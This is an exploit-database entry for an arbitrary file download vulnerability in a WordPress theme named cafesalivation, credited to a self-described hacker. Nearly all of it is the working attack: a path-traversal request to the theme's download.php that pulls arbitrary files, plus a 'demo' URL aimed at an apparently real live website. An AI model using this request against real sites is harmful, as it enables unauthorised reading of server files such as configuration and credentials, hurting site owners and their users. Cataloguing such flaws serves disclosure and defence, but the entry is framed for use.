Wordpress cafesalivation theme - Arbitrary file download Vulnerability

2018-01-21T00:00:00
ID 1337DAY-ID-29599
Type zdt
Reporter MrSqar
Modified 2018-01-21T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            -===================­====================­=================-
# Exploit title : Wordpress cafesalivation theme - Arbitrary file downloadliberator
# author : MrSqar Yemeni hacker
# Team : IT-Geeks
# Tested on : BackBox linux
# check if site is vulnerabe : /wp-content/themes/cafesalivation/download.php
you can download any script from the site by this method 
site.com/wp-content/themes/cafesalivation/download.php?filename=../index.php
# deom site :
https://www.cafesalivation.com/wp-content/themes/cafesalivation/download.php?filename=../index.php 
-===================­====================­=================-

#  0day.today [2018-04-10]  #